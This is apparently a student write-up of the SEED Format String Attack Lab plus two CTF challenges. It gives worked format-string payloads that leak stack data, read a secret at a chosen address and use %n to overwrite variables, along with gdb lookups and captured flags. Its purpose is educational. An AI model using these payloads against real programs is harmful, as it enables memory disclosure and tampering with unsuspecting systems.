# Work of week #6: Format String Attack Lab
###### tags: `feup`
## Task 1
### First execution, following lab handout instructions
Input:
```
echo hello | nc 10.9.0.5 9090
```
Output:
```
server-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address: 0xffffd150
server-10.9.0.5 | The secret message's address: 0x080b4008
server-10.9.0.5 | The target variable's address: 0x080e5068
server-10.9.0.5 | Waiting for user input ......
server-10.9.0.5 | Received 6 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf): 0xffffd078
server-10.9.0.5 | The target variable's value (before): 0x11223344
server-10.9.0.5 | hello
server-10.9.0.5 | The target variable's value (after): 0x11223344
server-10.9.0.5 | (^_^)(^_^) Returned properly (^_^)(^_^)
```
### myprintf() crash with custom input file
Input:
```
echo %s%s%s%s | nc 10.9.0.5 9090
```
Output:
```
server-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address: 0xffffd500
server-10.9.0.5 | The secret message's address: 0x080b4008
server-10.9.0.5 | The target variable's address: 0x080e5068
server-10.9.0.5 | Waiting for user input ......
server-10.9.0.5 | Received 9 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf): 0xffffd428
server-10.9.0.5 | The target variable's value (before): 0x11223344
```
As it is stated in the lab handout, since the program did not print the string '(^_^)(^_^) Returned properly (^_^)(^_^)' we can conclude that it did **crash** and did not return properly.
## Task 2
All the outputs bellow were result of the excution ```cat badfile | nc 10.9.0.5 9090```, being ```badfile``` the output of the program ```build_string.py```. Whenever we refer to the string ```s``` we are refering to the string that was built in the python script.
### Task 2.A: Stack Data
Firstly we need to modify the ```build_string.py``` script, to create our input.
We are adding ```"\xaa\xaa\xaa\xaa"``` so that the value ```aaaaaa``` is easily identifiable when the values are being logged.
```
s = "\xaa\xaa\xaa\xaa" + "%x " * 70 + "\n"
```
After running the script, we can successfully examine the stack.
```
����11223344 1000 8049db5 80e5320 80e61c0 ffffd7e0
ffffd708 80e62d4 80e5000 ffffd7a8 8049f7e ffffd7e0 0 64 8049f47
80e5320 505 ffffd8b7 ffffd7e0 80e5320 80e9720 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 bb6a4700 80e5000 80e5000 ffffddc8
8049eff ffffd7e0 d7 5dc 80e5320 0 0 0 ffffde94 0 0 0 d7 aaaaaaaa
25207825 78252078 20782520 25207825 78252078 20782520
```
After some trial and error, and analysing the position of ```aaaaaa``` on the stack we concluded that to get the first four bytes of our input, we needed **64 %x**.
### Task 2.B: Heap Data
After knowing the location of the first 4 bytes of our input, in order to obtain the secret message, we only have to add the address of the secret message to the string, followed by the certain amount of %x, to go to the correct place in the stack. Afterwards, we need to add an %s so it prints the value of that memory address, like this:
```
s = "\x08\x40\x0b\x08" + "%x " * 63 + "%s\n"
```
obtaining the secret message
```
11223344 1000 8049db5 80e5320 80e61c0 ffff05d0 ffff04f8 80e62d4 80e5000
ffff0598 8049f7e ffff05d0 0 64 8049f47 80e5320 518 ffff0694 ffff05d0
80e5320 8bb3720 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 a35c6c00
80e5000 80e5000 ffff0bb8 8049eff ffff05d0 c4 5dc 80e5320 0 0 0 ffff0c84 0
0 0 c4 A secret message
```
## Task 3
### Task 3.A: Change the value to a different value
In order to modify the value of target, we only have to apply the same logic we did to show the secret message. Firstly, we need to convert the address of the target to `Little-Endian`, followed by a certain amount of %x like we did before.
The only difference is that now, instead of wanting to see the string, given by the %s, we want to modify the value, having to replace the %s for an %n.
```
s = "\x68\x50\x0e\x08" + "%x" * 63 + "%n\n"
```
After running the script we successfully changed the value
```
The target variable's value (before): 0x1122334
The target variable's value (after): 0x00000ee
```
### Task 3.B: Change the value to 0x5000
Now that we could write to the target, we only needed to insert the correct amount of characters in the string, in order to make the number of characters before the %n value, equal to 0x5000.
After converting to a decimal number, we realized we had to have **20480** characters beofre the n.
So to print 0x5000 (20480), we need each **%x** call to have a precision of **325** (20480 / 63 = 325.079) characters. With this precision we will miss the 20480 value by 1 (325 * 63 + 4 (4 initial bytes of the string) = 20479). This way, we added an extra character ```a``` before the ```%n``` call.
With the following script we accomplished the task successfully:
```
s = "\x68\x50\x0e\x08" + "%325x" * 63 + "a%n\n"
```
```
The target variable's value (after): 0x00005000
```
## CTF - Semana 6
### Desafio 1
- Qual é a linha do código onde a vulnerabilidade se encontra?
- Linha 27: printf(buffer);
- O que é que a vulnerabilidade permite fazer?
- É possível crashar o programa, ler da memória, alterar valores e por fim injetar código malicioso.
- Qual é a funcionalidade que te permite obter a flag?
- Format String
Em primeiro lugar, decidimos verificar se era possível fazer o ataque, vendo o que estava na stack, usando vários %x, deforma a perceber quantos serião necessários para chegar ao input inserindo a linha seguinte no script de python:
```
p.sendline(b"\xaa\xaa\xaa\xaa%x%x")
```
```
\xaa\xaa\xaa\xaaaaaaaaaa78257825
```
Tendo conseguido ver a stack com sucesso, decidimos então tentar encontrar o endreço da flag, usando gdb.
```
seed@VM$ gdb program
gdb-peda$ p &flag
$1 = (char (*)[40]) 0x804c060 <flag>
```
Após termos descoberto o seu endereço, visto que o output do nosso programa **está logo no ínicio da stack**, apenas precisamos de coverter o endereço para little endian, seguido de um %s, que vai ler o valor do endereço referido anteriormente.
Obtemos então a flag ao incluir `p.sendline(b"\x60\xc0\x04\x08%s")` no script de python fornecido:
**flag{335f8c9619308e4c636391701029e9d4}**.
### Desafio 2
- Qual é a linha do código onde a vulnerabilidade se encontra? E o que é que a vulnerabilidade permite fazer?
- Linha 14: printf(buffer);
- Format String - É possível crashar o programa, ler da memória, alterar valores e por fim injetar código malicioso.
- A flag é carregada para memória? Ou existe alguma funcionalidade que podemos utilizar para ter acesso à mesma.
- Podemos ter acesso e alterar o valor da variável ```key```
- Para desbloqueares essa funcionalidade o que é que tens de fazer?
- Uma vez que a vulnerabilidade ```Format String``` permite alterar o valor de variáveis, é possível alterar o valor de ```key``` de modo ser igual a **0xbeef**
Para resolver o desafio recorremos ao script de python que foi fornecido para o primeiro desafio.
De forma semlhante à tarefa 3B desta semana, para resolver este desafio recorremos à colocação de **%n** na string a ser utilizada.
Primeiro é necessário saber o endereço da variável **key**, que foi feito com recurso ao programa **gdb**.
```
seed@VM:~$ gdb program
gdb-peda$ p &key
$1 = (int *) 0x804c034 <key>
```
```
$ ls
flag.txt
run
$ cat flag.txt
flag{90591962908b3e2f1e7bbc627b024ad9}
```
Queremos que key passe a ter o valor **0xbeef**, que em decimal corresponde **48879**, ou seja de forma a utilizar a mesma estratégia que é referida na tarefa 3B, terão de ser impressos 48879 carateres antes da chamada a **%n**.
O endereço no formato little endian (\x34\xc0\x04\x08) corresponde a 4 carateres (4\xc).
Inicialmente optámos por construir a string: **\x34\xc0\x04\x08%48875x%n**, só que quando %48875x é lido o apontador da stack avança para a próxima posição deixando de apontar para 0x804c034.
Para resolver este problema adicionámos 8 bytes antes do endereço de key, de forma a quando a instrução %x for lida o apontador da stack passe a apontar para o endereço da variável que pretendemos alterar. Ficámos assim com a seguinte string que nos permitiu obter a flag, após executado o script auxiliar de python: **\x34\xc0\x04\x08\x34\xc0\x04\x08%48871x%n**.
```
$ ls
flag.txt
run
$ cat flag.txt
flag{90591962908b3e2f1e7bbc627b024ad9}
```